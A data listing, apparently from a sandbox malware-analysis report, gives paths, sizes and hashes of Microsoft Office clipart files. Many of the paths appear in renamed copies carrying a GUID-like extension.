SHA1: 3d424c4958ec102abf08ff960f05087da6c6bc0e
SHA256: 2122de23c630c61219ed90ca0892805791e10df84847f44047cc462896feac5b
SSDeep: 96:1OAIMAEMQ7weKnbnL6KvZyl5KVoNKvaM33K8K6HXSNxG:8MAKR6n6NmoNrM33FKoCHG 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00169_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 6.72 KB MD5: 1ec0712b77df37a93ab30a44c96a2d71
SHA1: 1e936f7d53539f1673e386c7fc6a1e68567f47d2
SHA256: b0c1a0fc4ab6f60f272fb0d80e14109f24db3afce2fe7a77bbe9e2ad19afd305
SSDeep: 192:PYXKRGYa25Ce7a5EwRCc2W3FzP3GlJX1o/A:AlGCyDc2W1zvGTX1oI 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00170_.gif 9.03 KB MD5: ce72e16ad99f40592ecfa8a1b84d2b4c
SHA1: ce5c2b7da4eb631170a63275497d77d3a8b90cce
SHA256: e36a78baf6e3606418007a720504c442c6510c9b86803cdd034b36e20ea7e318
SSDeep: 192:32GGc1VJxWNMSZV3AAPHhHl3WAgf6IlhQBM1FaXX9YAjzhwdMH4b:ZGcpxWOS33tPHhHFWAgf6IlhQByFadYj 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00171_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 6.36 KB MD5: 3a21c3afe7034c56840218412a38a4db
SHA1: 218d71719183211c7cd1d31c99942d7f6d138107
SHA256: f0db826e2443052e30a12e8660081995c4ae0d34d281382b1e5a89950ed6ffb5
SSDeep: 96:YWroLtLnQ1C3UtHmiIkAmR5P/gPLUv3iPjSXRdfY3jJjdggkcvzVdTavHFeEX1Yg:0ZcCmHDIbm3AAasRMpdga/T+lJX1o/A 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00172_.gif 4.29 KB MD5: b7ce4543f7438d163a6de7ff91a89ba8
SHA1: bd6d467ee8fe36658c3fbb6ab567d8faa8afbc48
SHA256: cf508a8bac5460924924e5858739c959588f4639d2350742f3318c0b8380942b
SSDeep: 96:1lfNph7zHShwvi0AzHShw7r4gYk2zHShwZ8zHShw/0xM9Qb:9HzHSKHAzHSJlVzHSy8zHSI+Z 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00174_.gif 3.87 KB MD5: 66d6a49ea4dd3aacc379a7e38639d579
SHA1: 83ffdf15e16b7af312700ce0db3289df6969fd52
SHA256: 4af586f5485c10fb69dcb61bf5c1c8e4fd6c01a213c73a199e2413dc5ff2cc51
SSDeep: 96:fDspSXIDfGFDft4slDfkDfXdSXzDfReDfBdZDfeEDfczFDfLfaDfGXuDf3m+:uSX4ct4spsgXR+BdleMczJLaG+3r 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00174_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 5.35 KB MD5: d145dd4a15d2fea2d82a56cf7c3cd571
SHA1: 8ae2cc92593e0ca762db66cfd93934f68b5b3b26
SHA256: 868bbfd36e7662625ab8e5e114048413203469adc4956a79b6b5fa49cc809514
SSDeep: 96:A/uPDxkMZ97JVHrA5k8ZaosNUt0E0+wA5XwXvHFeEX1Yv6aRe:A/ubxkONDrA3ZaokUEJGulJX1o/A 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00175_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.77 KB MD5: e882f2c00528d0f3fa2e6ded6a92b956
SHA1: c680958718c973fdc2736bcbf626b0c5fbec4de6
SHA256: 0ddec6cd88ed7b74a9e98c0069df799edcfc123f6bfeee7c8bb2a54887823751
SSDeep: 96:F99eWKSWbxY6omlyd8GAPIN2vk/kNsUD+HQJc7w5mvHFeEX1Yv6aRe:5tKSIxSRAP9VzD+HQc7GqlJX1o/A 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\ag00176_.gif 3.05 KB MD5: 7d92dcb769dce80020e6015c526578cd
SHA1: 935e94bf84c7ccf8a932aedcee4751b895ddb4f6
SHA256: 71da069fc7662d5a91d665a4ccf675c5645e677121a98c278a3f74e38df1462b
SSDeep: 48:m9WRIBPzGEWRIBPzGjJ5yaEiAgNNOSFLBI3RaBpvP2qk8iro+pjEAUwTRoW4t:iP1dP1y1EJO5FL+6vPpkzk+o8Rt4t 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AG00176_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.52 KB MD5: ae17b69ae4f0a107d992e56f329dbd2b
SHA1: 6c433789761fb8dd8aa477a0f2dc042353df48b6
SHA256: 849484cb17ddb9d988b0a36806495841682a81ee71d8c9c51b44202ebba719b3
SSDeep: 96:pMzFg3DgbOPSXmiJ+Bz3cxseYQdWB6fh6PvHFeEX1Yv6aRe:KFg3DgKKXmiItsGyWB6fh+lJX1o/A 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an00914_.wmf 10.58 KB MD5: 5cc34de1e9c9d796627ea544e1321b15
SHA1: 48fa967e87de84a029d465ff53c758b66ffb766a
SHA256: b093207c97cb7411da05699bceec879b1a58a6397e12f6e57920aad4e67dae8e
SSDeep: 192:i/ikeWqGWTazAQ9GbekT9BKAX3MudiGLL/MzCPO0FEeiwvu4JepEbMzmjyaK1UpF:i6keWqGWT2AQkykT9sk3MetHUzCG0FGE 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an00932_.wmf 14.09 KB MD5: a6707fe694bff9914c85f6f050d510cc
SHA1: 8469a3f4a01109ea0680476e1027b07f9b3dd35c
SHA256: edf958924b2d0f401666a02f84a2d439bcddeea8b05014dcb007d8303192c119
SSDeep: 384:qjg0QL923IgqRYVBri7ITlAZrDTNuVXH+Xi4hb0IoaV5KdxTkYs9NBcnITG9tYh7:qjnQx23IgqGVBrWITlAZrD5uVXHEi4hJ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN00932_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 15.55 KB MD5: 6ae702f7ecadfce341d1bf1ae6e576ca
SHA1: 963b35f6e357cbda4e14ab1828574efcdd56cc94
SHA256: cfa32f0bee43022014514390ca038286029e2548360ff05c1a505655d8953075
SSDeep: 384:nTZ0CSOoPaU0WRCPZZ1t3LA6GZ+/qqHEtVYSTX1oI:TZ0CSzIFdE66LNA6F 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an00965_.wmf 6.91 KB MD5: cd7ac3946dbd7e40aec469deee1a3d83
SHA1: f278d031fb531f1bdef804aedf30e5da241da0f8
SHA256: 699266855ff5957496412c5225e0d3088e19b19d114f19f49c4f78fe9f6d6db1
SSDeep: 192:a9v0YlK4Fbw4KYxhi4s7x6FoGf3BFGJ+zMRtiGy/HAwW8uE8JtHZzTv/zEPAQbB5:a9v0YlK4b/KYxhi4sVkoGf3BFGJ+zMRu 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01039_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.74 KB MD5: fcc39596fd9c71246464d96e2c885b05
SHA1: 55109fe437c268d43fcd1f784312ede1f8928f27
SHA256: 3c9f7e121948c08441cb985c73d03efebfca2e747fb4358ed4f4dddbb6518653
SSDeep: 96:sicovf/KnaQcq45n5K6Wl0DAlS7msbwYR2R+gtzisfc+UvHFeEX1Yv6aRe:sicmV5kPl0DAGms/R2R+J+glJX1o/A 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an01044_.wmf 1.56 KB MD5: 1d486b58cce27f925ef552a5b7777f96
SHA1: 16468e1c6d700e6f80571dfa4eba4d9c3dcc4bae
SHA256: d7f5a1bdeacbb4d2fd587b7f523f540ea0200db9a31da0eaafcc4f585b7d489f
SSDeep: 48:uEsK4/Aw9Vp8r1N453kWoRM8k1EPVyyz/p4c:o1wpN450Wommyyz/l 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an01060_.wmf 7.78 KB MD5: 3bcba746a50f552521131eacdf2b38f7
SHA1: cbbc8f09dd5e922683eb663b34512b71a06e1a2f
SHA256: de68d15b433aab451ac74063265af5693ceed4086dea2ee53f6d9489cdfa93ae
SSDeep: 192:TOSB0q9J0QDaZ8vO1O9/Dl8McpjWJ+46uW5fh1SS4hIukUBBTvxPnx+y:TRd0QWZDO9/Dl83RWJ/k1SSNukUHTxPn 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01084_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 3.25 KB MD5: 168bf7480b44168280cce2326c55cd1a
SHA1: 52decb42758adde2c5c6f6547663ff1a83f93643
SHA256: a5c5072503596134a0c752c3cf2d9499ba1031bdc5deb8cf39e8913d906ff993
SSDeep: 96:Hcmf/KBJeQmL37+P0ylqvHFeEX1Yv6aRe:H5AJeB37kulJX1o/A 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01173_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 27.17 KB MD5: ca7a4897d0a6be3f66ae53435295f018
SHA1: b526760721280016ab95d915921676d4533455ef
SHA256: f94bd17e5117c316ff0b1f290992786e4ba8596604e6249fa5217169d57060e4
SSDeep: 768:NgzoImTEzDXWLFjebRDyDHdaWElzNAb78kSVbudn0F:OzoIJFbsD47l6YkHdnA 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an01174_.wmf 27.21 KB MD5: 0982265ced5c29c25e2c40f542634e83
SHA1: c521c366721f0fc760e9259dd332876687782c19
SHA256: 825078be018ccf7ee1cd3938b0d540e92e3f27eb4fad4a1723654275ffc54e18
SSDeep: 768:UBjDy6SwZAzBGiTZpn3l9AEc+gNv3GL7rOgec5yBZxmP5n7CNWj6pZ/WDrTGV6QL:Mo/12SeDKA/XoL9byR8PyqM 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an01184_.wmf 3.66 KB MD5: c2b79d6102c7746b2dcc75bc9328a849
SHA1: 3ed5481e0e0be982cea5a8ff9aa32ac8742b1e47
SHA256: deff1ba7370f3119b660bc471d7c94727ce088cb3ea6ed8b158be22748feee1d
SSDeep: 96:s4U7yT436IJ3XvgYyPBOJARsXa8bWOZFXrsmg9M4E4x22OAvn:HU7M4KIJ3fgvPgJAwa8bWAFXrsmg9M4D 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01184_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 5.13 KB MD5: 112f44cf625a8c37f8d9cf9fdd011dbd
SHA1: a917e315542a26240f5dfb1aecad121aae239380
SHA256: ef8bee5dd0e1140c71c43d7f4925a035c0c990d6a84f83769725672ecbb657eb
SSDeep: 96:Laf83hgCb1Gjc1iAgqcewg58D7ETTv0j45gyfL2Pshkyp789vHFeEX1Yv6aRe:GOMjEHck3iA7hky4llJX1o/A 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an01218_.wmf 2.94 KB MD5: 921bfc4a21e938e4357f0421ef4e584c
SHA1: ae2849f9c16d3e8eaca1cc201a703505738b7d9e
SHA256: 5cb6f31a06795da6b7fda3a3cd63deaf7fb53d2883d9adc4cdeac0aa726b75d4
SSDeep: 48:IK4/oELpo2/RLkBLkqOLkHLkkLkxLkRjALkDLk9LkoWLkL57LkKLkIhVLkOhXCL8:I1LTm2ooZGrkSuWLO6OXTfSqQlFrhnHq 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01218_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.41 KB MD5: 7076daaff80d242f3fbdea333379ce02
SHA1: c3c292ac1492c4d12d183cc71af7031b1e579ca3
SHA256: 642e4c3b6c474eaca2ada7e67457d884735b33181cb96d8a8837dee539468d68
SSDeep: 96:LTix54ElMcJwpByMDJ+z5YSbDxUX8/n0BiMTW+tOPl0vHFeEX1Yv6aRe:fS54ElMckDDYbCX0n0bWNAlJX1o/A 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an01251_.wmf 2.69 KB MD5: 5ff7aedc7657a2eda5855dcf404813e6
SHA1: 5566a81e187068e899969841f3bf55575dfc49f3
SHA256: 5bed0a5e29e8624c267ec9a2894f6b52c1478b97cbae893524a74dfa0655c668
SSDeep: 48:OK4/1fCrneMOtbsk4u8LplGiTC2+LDpFjqqLpo7MdZX1qVBXDJRcXY0Wfc:O11abeMob64iTC2+LjN2MiBFRcXY0WU 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an01545_.wmf 7.20 KB MD5: 61c3b39b97bf884633ffea6e43b8fd2b
SHA1: d4d87da76dc975022fa1f7113491d77bd93983a5
SHA256: 7e29edf8556b08a41e53488e28de2f1598bb7e75c3fec5be24e8f143a41ac28e
SSDeep: 192:ElCp76lstfENbDKl52TxX60LkS9NaPI2+Q3v7TB7CGY50AVTpTE:ElU+lufo3Kl56p64kANWWQ3vPB7CF505 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN01545_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 8.66 KB MD5: d6718c10e8b33300d30292f738564e2c
SHA1: 48a43636f05004d5fe6abb06071c0fc069edbe95
SHA256: 72bf69fcf81043388cd213eddeb091901f9c54dbf557a7751cdbcdf03e07bc7d
SSDeep: 192:mErVAoVMjRAC+jQ4pUwPkEl4U/KGSblJX1o/A:PGoajKC+8x0dl4WSbTX1oI 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an02559_.wmf 6.48 KB MD5: ca4944faeb416010b52f992502560f00
SHA1: fdfa760f14e9102a2d8073f85f37f4994577ef1b
SHA256: 7d8a15726bbd6bcb83c9ef7f240e84ede2f21202554d89f15468047568865d44
SSDeep: 192:US66AOGAPivNkywd78jomSXuONYCxKdaKT0iqDq:r6IzKvO1HHzKc60iqDq 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02559_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 7.94 KB MD5: 781439c1aaf0ece9630442778423d619
SHA1: 875ab48270d47aee31e8a14510428b861b2ee1ed
SHA256: 5762b1786b5232abb5c754e6b116865636152e0b40d0100961cdcd35d7f03963
SSDeep: 192:09rrXmkCeNKdVZJmjEYtjepZrcVB0M0D4lJX1o/A:uPX/xcfJmjEYepZrmB0OTX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN02724_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 3.52 KB MD5: ffae36c8943d2cb2bb9617cddf6ca166
SHA1: 7f38beb0c96c66a1ff4dddd407c0c3e7ddf6179f
SHA256: ec9230a2e3ce6e7ac7f00d6b35af915da654dd09ec6df1e596cc167a471cadd5
SSDeep: 96:IPtWlQDYf/rMNlDQbF+u0Hr2kitNUQCVJuvHFeEX1Yv6aRe:I1Wl2+zElQbF+Nr2pEilJX1o/A 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an03500_.wmf 9.02 KB MD5: e79832691f1d665b4108b20889c906d3
SHA1: 0a65e4a860f1ca5701a5b3c804e17136f3eab325
SHA256: 80602b4ce0caaeb6b99fdb41c3303aa155114d70490ce1bdb29d79332e6a9b54
SSDeep: 192:pPLbk6rn4tPpw4hUmQj/ZFU0jACkUJA7cjRLZTak62WrTNKWZiH5mK4aKrZKryiG:pPnF431hUV/ZFU0ECpocl9mk62WrpKWL 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN03500_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 10.49 KB MD5: f68b85f5d2b9b09413c71db10504bce7
SHA1: e08bfb1f1229956ff690f6fedecb1121ce65118d
SHA256: fb35c7a78ecb470ac6794dff72f24b3b2d8621b02bbccf2a0fa83ce7fc8598f2
SSDeep: 192:jjAlH5w4dcuHerfV2wQRWL44VJ6/MxSmqFma3UNXjV3R3wgzH/wqE4o1BlhyfhmK:AQyRHes5CC/pmryCjV3R3142oqRfnTXz 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04108_.wmf 2.29 KB MD5: 4e9ff40c70c6ace922ab1fea084c1f80
SHA1: e890db0f08853559f4afd8ddd159e4b2a20a7e03
SHA256: 21c37996a0fa76637f90a4d1f684268fadcb3ba1b02fc3d7c82b1765a893a4ae
SSDeep: 48:1CB4gYT8YNXpQVkMtkxPEU1DLQ1YRlKwqjuUyYyW:iJ6XiVkxPQ1OMw6uw/ 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04134_.wmf 3.34 KB MD5: 96f6b0f79668d0a59a29d032d5a1c10d
SHA1: fc783609aa3dd81ed5ad2e91ae9e157d39f55847
SHA256: 5af783d1ac5364a7e69c2e8a0989251cf966028ab709d0c463eedd132ef7fcee
SSDeep: 96:maf/aghCkXAph3Ua9qfYTy0dDIxXXJCHdc:fHBhCthkVfAddDIZc9c 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04134_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.80 KB MD5: 3c22b5b4e3db09b99509e4c9b3d67234
SHA1: 164a2268e502f832aea16dd517445c933f13c357
SHA256: 20de64d5b3dc6e3c56adcd5d1f86507e2022fc4280bed38b9e9037c679d8487f
SSDeep: 96:j2OKZ+cOFNFEyKTiRaW05mjJtxLM/xoPlAN1O/TLWse2jAvHFeEX1Yv6aRe:jxG+cOFNFA5W08j9M/xo2NQ/vWjlJX1F 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04174_.wmf 2.58 KB MD5: 6572597301cdd8bfc23042e39dbd9eda
SHA1: d6ef1e4afe5ca24caa47f4f36667849a17e46393
SHA256: 60249cd48030be84fbd609ba7e35287aa0ce42df11a769c7079f87376fac9334
SSDeep: 48:1GmIB4gYT84daVUZqnf8pl/kOibPj9rk6kgwrfIZDQ9ps304oIW:kmCJq6GIfgNkBb66pwrfIZDMs304ot 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04174_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.03 KB MD5: 455ec4802d12875e497901069dfda7fd
SHA1: f4190907901a54c8f12b531e2aa655ea2bb6ff70
SHA256: 99fe1e8a0708b5c0ceb97be8d768496b5ad4413c51f8af814501568b81889f24
SSDeep: 96:gal+ekD6HNYEIeW6o0dkqtKKonbY3+vHFeEX1Yv6aRe:t8ekmNXXW6DOK4bY3ilJX1o/A 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04191_.wmf 6.48 KB MD5: 2deb4ba29e04f999b73472a3f7986b9b
SHA1: 583e51310636cffc29f7367d436c4ba972c2ba8a
SHA256: d8b02558cb9740b341b7de10d104bb685dff12ad5289fb2bba8cb9712f959c3c
SSDeep: 192:7jLxPK/OSdZFxs13MkWhaoURKk8cITyGx2E9q8zqslsc2/04McgW5m+m:/LxiOSDFx8ckW0oUQk8cIHYE9Vqslj2+ 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04195_.wmf 4.50 KB MD5: bbd99f92bf08d5737d517226806fcc0f
SHA1: 515a8cac4221b2d9171ce28378e033bdba61f668
SHA256: 28d7304fb03403812cdadba9b8c6303c03014d09913ed20d5eeaa4a0f770b8d7
SSDeep: 96:bJYOWqJF9c0pEcZloazkMXviveifrPzLKAKoMBrA34kuKj9EnS+TD0xsen:dvVpfZlVnq9z3KALMBtkuKj9EnS+TD01 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04195_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 5.97 KB MD5: 6275f46500471153d7cdf18f3ba1d531
SHA1: c7ad7b4d19ffd899415f3446944f7b50c9b5eb5e
SHA256: 278dcc0f5483b138c260b7417c2680f30690466a5eacde3a346936ee46f9f332
SSDeep: 96:uL2U4/4+tjUmIxWtiilBWWwvg9nm8Gvpa284MQh4OIvHFeEX1Yv6aRe:u8/4+NeeiilBhwgmfvU28I4HlJX1o/A 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04196_.wmf 3.07 KB MD5: d7420f1d216a1ee6c38cd703f3b5fb9c
SHA1: a65ec985fbfec647fddc9d105288ed57035f6a3d
SHA256: d2a1a0683b7ad593a43b1b8022a40b16768f62fc9e55ee193b5e7ad916191973
SSDeep: 48:1GiaB4gYT89iZay9P/4rVzu/8JuCOjImlW1rQfEOrxVz6OdeZcZ27/Nch/W4/+jW:pcJ9WFiFu/8XmIhQxz6zZcZ271CO4/+K 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04206_.wmf 7.49 KB MD5: b8a045cb3b99d6a8c38f0841c513a06e
SHA1: 7661458f34a6d4b0260bd46c6a8519b2d2bebd40
SHA256: 6a9a4bb70e7271b38b7045381e5ae7696946b748a8cf9b482536b57ba023ec01
SSDeep: 192:DuMel1Qt14TYnnvuCl661ilrXLiHWKUsN9iPFlZfDTzo2vVOgQh9UqeQJc56Ofz7:DuMeXw1kYnnvuS661il7Li24zMFltfdh 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04206_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 8.96 KB MD5: 717e0e3a4937a01bee389d3a428bed32
SHA1: b55b3915b3cca898d330e898b1f0c35942986398
SHA256: 57ee5f91413dfb4b561b22b5104cb9be59681e5cfd35a83422a2ea05a9bcde34
SSDeep: 192:3CZ2IlthMRUvrtuoQzXTVKXGN/VfCFoxQ5UksLnlJX1o/A:kltrAoMpDCFP5xsTTX1oI 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04235_.wmf 7.62 KB MD5: 210809bfbe0a2b4342d51a2188e9d137
SHA1: ad4885ae402d88806adc2eee341b0ad47fd4f50c
SHA256: 620b6a2a5d6e92edd845a1fb4e9560110cfbf7e40eeb9e76c7a78f7025858ec5
SSDeep: 192:74ux7g1lzq9rpwB9LxD0KQymhrFM93TE54VpIdmMLKzxgL8/84RQlTi8Ip3:7Hxyzq9rWfLxD0KQyyrFM93TE54VpId6 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04267_.wmf 7.62 KB MD5: d636308683435714128a1a41001f5fee
SHA1: d4c8b5b80c3137b4a1eac6198c0c71ab571795be
SHA256: 60a245b3aaab784bd3c212c8cbd5fca483f1bfa843e8edfa9f330f6b12aa48bd
SSDeep: 192:HErtsB1wI0E3ms1c400OFQ39XqQ88mCY5nBFq7vIRZOFAL7Z5X9iJlzpISFoliD:HErt8wI0E3ms230Oy39XqQ88mf5BF4vt 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04267_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 9.08 KB MD5: 7537d1435eac0b931992fb214ca792d2
SHA1: 862e214ee6086f5379873574184264714a4f9ba9
SHA256: a20de969a5b872540551e80631e036b5bfcb720e1e0007702fae72289c15102d
SSDeep: 192:ihlFfnKb8nuM5wQCpclepwu5wdyD4g8AkGlJX1o/A:ihlk8nuqfcwu5wdM18iTX1oI 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04323_.wmf 2.43 KB MD5: 5057dc96c71ce96d0cc86909aa487ed8
SHA1: 6b39868cd021bf6ed98dbefe5430633b482c8f8c
SHA256: 368eeeb7088e8d0f1cacde574fa57342fe83dcf631b1e2844a81ff0fd4f569ca
SSDeep: 48:1/CB4gYTvi4P/17q3ljlWpbKbVd53lQ/ch91QqjD+UjwlB+oDWaZW:yai4FYkluVdxlQ/X+CUjwVfY 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04326_.wmf 3.27 KB MD5: 315ff0927abe1a9230efc6c0065dcfe5
SHA1: d9ed2c558bb26926b8ee00ee6e01d0d4c8a988f3
SHA256: 4accfd7672933767f868128eb0cad3b0c8ccbf1e04ebe0996ab4e29a69dfc0e8
SSDeep: 96:RJY/npm7dNyrZKq7KFXvObgheMQHeCH41xrTY:7qpmpNy0q7avCgheMQHeCH41tTY 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04332_.wmf 4.20 KB MD5: 1f24029d8daff1819a99c36c01edbedc
SHA1: 2d99c44d76f320b5aa32af2fa061afd72f37c338
SHA256: 5ab2fe1a1d27e75852737af33d073ef57411d84fd9f340cfd655953ad8ffb58f
SSDeep: 96:vJGRqy/SRERWnmFwIBHuO+q6bxn0OY278dB/YXmCYeQYshWfLlTJ0gTQ14Tk:hFytRWmHHuO+qQl0OT7OlCmCVQtOLlTi 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04332_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 5.66 KB MD5: 189d121a8b569fe9194995c4f3daa6ca
SHA1: f23dad66c300e1d9eaeed8ccc4fbf03f1a5f72e7
SHA256: 3f7482cc34852dbbca76e28e6a463c197305d10e7906696c01abd531c2cc6236
SSDeep: 96:vR20Zb36k330rWVHRvUBeCHg2auvqb3euqASIc0vHFeEX1Yv6aRe:vw0ZbqEErKvUTgh+JuqADlJX1o/A 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04355_.wmf 3.15 KB MD5: e3af6ec3a4acaa5096387012c521e242
SHA1: 6258e991437d04940ebdda2d8a2a0d5bd1b9feb5
SHA256: 92c57602505a815b9812dacb6090cf95cde23320ca627bd089cb889703879355
SSDeep: 96:sJ1bQxSlZEZvJtq4ByHyBBYewRdNVJ25+eyg:i1blZW7dgHgBYfJe 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04355_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.61 KB MD5: 577a35ab85456d198252446d01c85cae
SHA1: 5e40d934251a84dfd0aa3a743a0722cb36770ca8
SHA256: f80470c2641b68ff7eefc3462e7d5dbdccaea4e91f19d1acb26766902536972d
SSDeep: 96:CN17Nzg6rvDmmj4Q3EPIL2H0ac2+3jTuOV5fBvHFeEX1Yv6aRe:mh5g67FLUPzFc/S85lJX1o/A 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\virtualstore\program files\microsoft office\clipart\pub60cor\an04369_.wmf 4.70 KB MD5: 00a08a02bf393db5ea393ed98a724b94
SHA1: 4429c13c3b9166c66195f10fb06d52c11effe574
SHA256: b04bf2ac764992c1c02f672c32a214f3faed2bb5e3b679027c7722180a1b5818
SSDeep: 96:AJVLoxQRq3WDtrqsWB4MKAbd2gULwgI8PZmDn:WZoeRTtrKiAxULwH8PZ0n 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\AN04369_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 6.16 KB MD5: 7b9164735e7b3b8d98208c31f1239c8f
SHA1: 302b23573d98104bdff9c37c962d24fe0181c9f3
SHA256: 044acf78d0a60ed52a2f2f6bbfc3a8a061614c03d2d32d0bfa1e478dce965d07
SSDeep: 192:Hrplhx3L0NMUt998E0rnUnYFnzYXMQlJX1o/A:HThRLuLP9X0rcYRzfQTX1oI 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00116_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.76 KB MD5: 0d1dcdf9ed0a94e7148e445df2bc4de6
SHA1: c27a841ac5658568d003c7e5ca260456bff68bd1
SHA256: 3f7b2f380055056aef9617a6b80646ae79e2e07f7db2bf2bc43d6e5d261f385c
SSDeep: 96:z/JM0o/ci3Nwx4VJd0KjDediZmtyRVxpST4FQRd3L4FQRd3EVwFl02UqEYvTBR39:lMVyx4VJdfjDediZmt2xpG44b44UVKlx 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00146_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 28.27 KB MD5: 64f243084cb9d15d295efca4064f82dd
SHA1: 69ad5db70247bc8cfe069515473bd74e9f4f41f6
SHA256: 14edca0786bf28a31127b8c40255d2adc0f50c0f0ea38479987e7d5389e1248a
